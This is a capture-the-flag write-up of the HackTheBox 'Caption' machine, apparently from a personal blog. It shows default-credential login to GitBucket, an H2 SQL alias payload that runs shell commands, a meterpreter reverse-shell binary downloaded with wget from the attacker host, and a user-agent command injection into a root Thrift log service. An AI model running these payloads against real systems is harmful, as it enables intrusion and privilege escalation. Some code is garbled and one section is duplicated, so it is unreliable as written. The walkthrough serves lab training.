HackTheBox Writeup - Caption

Published on: 9/15/2024

Summary: The official rating for this question is Hard, but I don't think the overall difficulty of this question is Hard! The designer of the question may think that the last step of root privilege requires reading the source code before constructing the exploit and payload, but since the project is too small, there is no need to study the source code in-depth. You can quickly find the problematic areas. I think the difficulty level of this problem is Simple to Medium, and the skills required to solve it are not too complicated, so it's still worth practicing.


Reconnaissance

Port Scanning

Using nmap to do a port scan, the target machine has port 22, port 80, and port 8080 open.

nmap 10.129.20.232 -A -sV -sC

Web Scouting

Write the DNS Hostname into /etc/hosts for resolution.

Port 80 Caption

Open http://caption.htb in your browser. In the search below, no other attack points were found except brute force.

Port 8080 GitBucket

GitBucket is an open-source project, so start here.

I searched the official documentation and found that the default password is root:root.

You can log in successfully with the default password.

Initial Access

There is an odbc console at http://caption.htb:8080/admin/dbviewer, you can query GitBucket's database with SQL directly. Refer to the webpage ODBC SQL injection to RCE exploit to copy the SQL syntax part.

CREATE ALIAS EXECVE AS $$ String execve(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime()) .exec(cmd).getInputStream()).useDelimiter(“\\\\A”); return s.hasNext() ? s.next() : “”; }$$;

I have successfully created an RCE injection point.

CALL EXECVE('cat /etc/passwd');

Using this injection, I clicked on whoami and found that the current user is margo and the user flag is in margo's home directory.

CALL EXECVE('cat /home/margo/user.txt');

Persistence

Generate ELF formatted meterpreter trojan in metasploit and start handler.

msf6 > use payload/linux/x64/meterpreter/reverse_tcp
msf6 payload(linux/x64/meterpreter/reverse_tcp) > set lhost 10.10.14.72
lhost => 10.10.14.72
msf6 payload(linux/x64/meterpreter/reverse_tcp) > set lport 4444
lport => 4444
msf6 payload(linux/x64/meterpreter/reverse_tcp) > generate -f elf -o meter
[*] Writing 250 bytes to meter...
msf6 payload(linux/x64/meterpreter/reverse_tcp) > to_handler 

Open the HTTP server in the folder where the meterpreter trojan is located.

python3 -m http.server

Send the meterpreter trojan over HTTP to the target machine, add execution permissions, and open it.

CALL EXECVE('wget -O beatman_meter http://10.10.16.4/meter');
CALL EXECVE('chmod +x /home/margo/beatman_meter');;
CALL EXECVE('/home/margo/beatman_meter');
``

![](https://i.imgur.com/dhfENY6.png)

## Intranet Service Exploration

Entering the shell in meterpreter and doing a local process enumeration reveals that root runs this service.

```bash=
ps aux 

Where server.go corresponds to the Logservice project in GitBucket.

The main function opens port 9090.

func main() {
    handler := &LogServiceHandler{}
    processor := log_service.NewLogServiceProcessor(handler)
    transport, err := thrift.NewTServerSocket(":9090")
    if err != nil {
        log.Fatalf("Error creating transport: %v", err)
    }

    server := thrift.NewTSimpleServer4(processor, transport, thrift.NewTTransportFactory(), thrift.NewTBinaryProtocolFactoryDefault())
    log.Println("Starting the server...")
    if err := server.Serve(); err != nil {
        log.Fatalf("Error occurred while serving: %v", err)
    }
}

This service is only accessible by 127.0.0.1, map its traffic to other ports using iox.

. /iox fwd -l 9999 -r 127.0.0.1:9090

The Logservice project references Apache Thrift, the use of which is demonstrated in this movie. Its purpose is to automatically generate multi-language socket applications from a single Thrift definition. The same project only needs to write one copy of the server-side code to extend the cross-lingual socket application.

server.go only implements the ReadLogFile function, and the viewer code saves the required fields from the input log file to output.log in a unified format. Lines 42-43 input the fields into a string of sh commands, which are then executed with /bin/sh, which is obviously a command injection vulnerability.

func (l *LogServiceHandler) ReadLogFile(ctx context.Context, filePath string) (r string, err error) {
    file, err := os.Open(filePath)
    if err != nil {
        return "", fmt.Errorf("error opening log file: %v", err)
    }
    defer file.Close()
    ipRegex := regexp.MustCompile(`\b(?:\d{1,3}\.){3}\d{1,3}\b`)
    userAgentRegex := regexp.MustCompile(`"user-agent":"([^"]+)"`)
    outputFile, err := os.Create("output.log")
    if err != nil {
        fmt.Println("Error creating output file:", err)
        return
    }
    defer outputFile.Close()
    scanner := bufio.NewScanner(file)
    for scanner.Scan() {
        line := scanner.Text()
        ip := ipRegex.FindString(line)
        userAgentMatch := userAgentRegex.FindStringSubmatch(line)
        var userAgent string
        if len(userAgentMatch) > 1 {
            userAgent = userAgentMatch[1]
        }
        timestamp := time.Now().Format(time.RFC3339)
        logs := fmt.Sprintf("echo 'IP Address: %s, User-Agent: %s, Timestamp: %s' >> output.log", ip, userAgent, timestamp)
        exec.Command{"/bin/sh", "-c", logs}
    }
    return "Log file processed",nil
}

Exploring Intranet Services

Entering the shell in meterpreter and doing an enumeration of local processes reveals that root runs this service.

ps aux 

Where server.go corresponds to the Logservice project in GitBucket

The main function opens port 9090.

func main() {
    handler := &LogServiceHandler{}
    processor := log_service.NewLogServiceProcessor(handler)
    transport, err := thrift.NewTServerSocket(":9090")
    if err != nil {
        log.Fatalf("Error creating transport: %v", err)
    }

    server := thrift.NewTSimpleServer4(processor, transport, thrift.NewTTransportFactory(), thrift.NewTBinaryProtocolFactoryDefault())
    log.Println("Starting the server...")
    if err := server.Serve(); err != nil {
        log.Fatalf("Error occurred while serving: %v", err)
    }
}

This service is only accessible by 127.0.0.1. Forwards its traffic to other ports using iox.

. /iox fwd -l 9999 -r 127.0.0.1:9090

The Logservice project references Apache Thrift, the use of which is demonstrated in this movie. Its purpose is to automatically generate multi-language socket applications from a single Thrift definition. The same project only needs to write one copy of the server-side code to extend the cross-lingual socket application.

Server.go only implements the ReadLogFile function, and the viewer code saves the required fields from the input log file to output.log in a unified format. Lines 42-43 input the fields into a string of sh commands, which are then executed with /bin/sh, which is obviously a command injection vulnerability.

func (l *LogServiceHandler) ReadLogFile(ctx context.Context, filePath string) (r string, err error) {
    file, err := os.Open(filePath)
    if err != nil {
        return "", fmt.Errorf("error opening log file: %v", err)
    }
    defer file.Close()
    ipRegex := regexp.MustCompile(`\b(?:\d{1,3}\.){3}\d{1,3}\b`)
    userAgentRegex := regexp.MustCompile(`"user-agent":"([^"]+)"`)
    outputFile, err := os.Create("output.log")
    if err != nil {
        fmt.Println("Error creating output file:", err)
        return
    }
    defer outputFile.Close()
    scanner := bufio.NewScanner(file)
    for scanner.Scan() {
        line := scanner.Text()
        ip := ipRegex.FindString(line)
        userAgentMatch := userAgentRegex.FindStringSubmatch(line)
        var userAgent string
        if len(userAgentMatch) > 1 {
            userAgent = userAgentMatch[1]
        }
        timestamp := time.Now().Format(time.RFC3339)
        logs := fmt.Sprintf("echo 'IP Address: %s, User-Agent: %s, Timestamp: %s' >> output.log", ip, userAgent, timestamp)
        exec.Command{"/bin/sh", "-c", logs}
    }
    return "Log file processed",nil
}

Privilege Escalation

Since I don't have much experience in GO development, I'd like to make the exploit a Python version. First, I uploaded the Logservice folder to the margo home directory and compiled the Python Thrift library with the target machine environment.

Reference this library to write a Python version of the client program to interface with the server.go application.

import sys
from thrift import Thrift
from thrift.transport import TSocket
from thrift.transport import TTransport
from thrift.protocol import TBinaryProtocol
from genpy.log_service import LogService # import service from generated file

def main(log_file_path)::
    try: # Create a transport channel.
        # Create a transport channel
        transport = TSocket.TSocket('caption.htb', 9999)
        transport = TTransport.TBufferedTransport(transport)
        
        # Protocol Encoding
        protocol = TBinaryProtocol.TBinaryProtocol(transport)
        
        # Create the client
        client = LogService.Client(protocol)
        
        # Open the transport channel
        transport.open()
        
        # Invoke server-side methods
        response = client.ReadLogFile(log_file_path)
        
        print(f “Response from server: {response}”)
        
        # Close the transport channel
        transport.close()

    except Thrift.TException as tx: # Close the transport channel.
        TException as tx: print(f “Thrift error: {tx.message}”)

if __name__ == '__main__':
    main(sys.argv[1])

You can see that the service is successfully connected.

Now build the payload, there are three parameters for command injection, ip, userAgent, and timestamp. Line 41, timestamp is generated by server.go according to the current time, excluded. For parameter ip, we need to construct a payload that satisfies IPv4 conditions, which is too stringent, so we exclude that as well. The only thing left is userAgent, construct the payload as follows.

127.0.0.1 - - [16/Sep/2024:12:00:00 +0000] “GET / HTTP/1.1” 200 - {“user-agent”:“'; cp /root/root.txt /tmp/root.txt #”}
127.0.0.1 - - [16/Sep/2024:12:00:00 +0000] “GET / HTTP/1.1” 200 - {“user-agent”:“'; chmod 777 /tmp/root.txt #”}

Upload it to /tmp/payload.log .

Trigger command injection.

python3 client.py /tmp/payload.log

Get root flag.

Don't bother with the shell, just submit the flag.

Table of Contents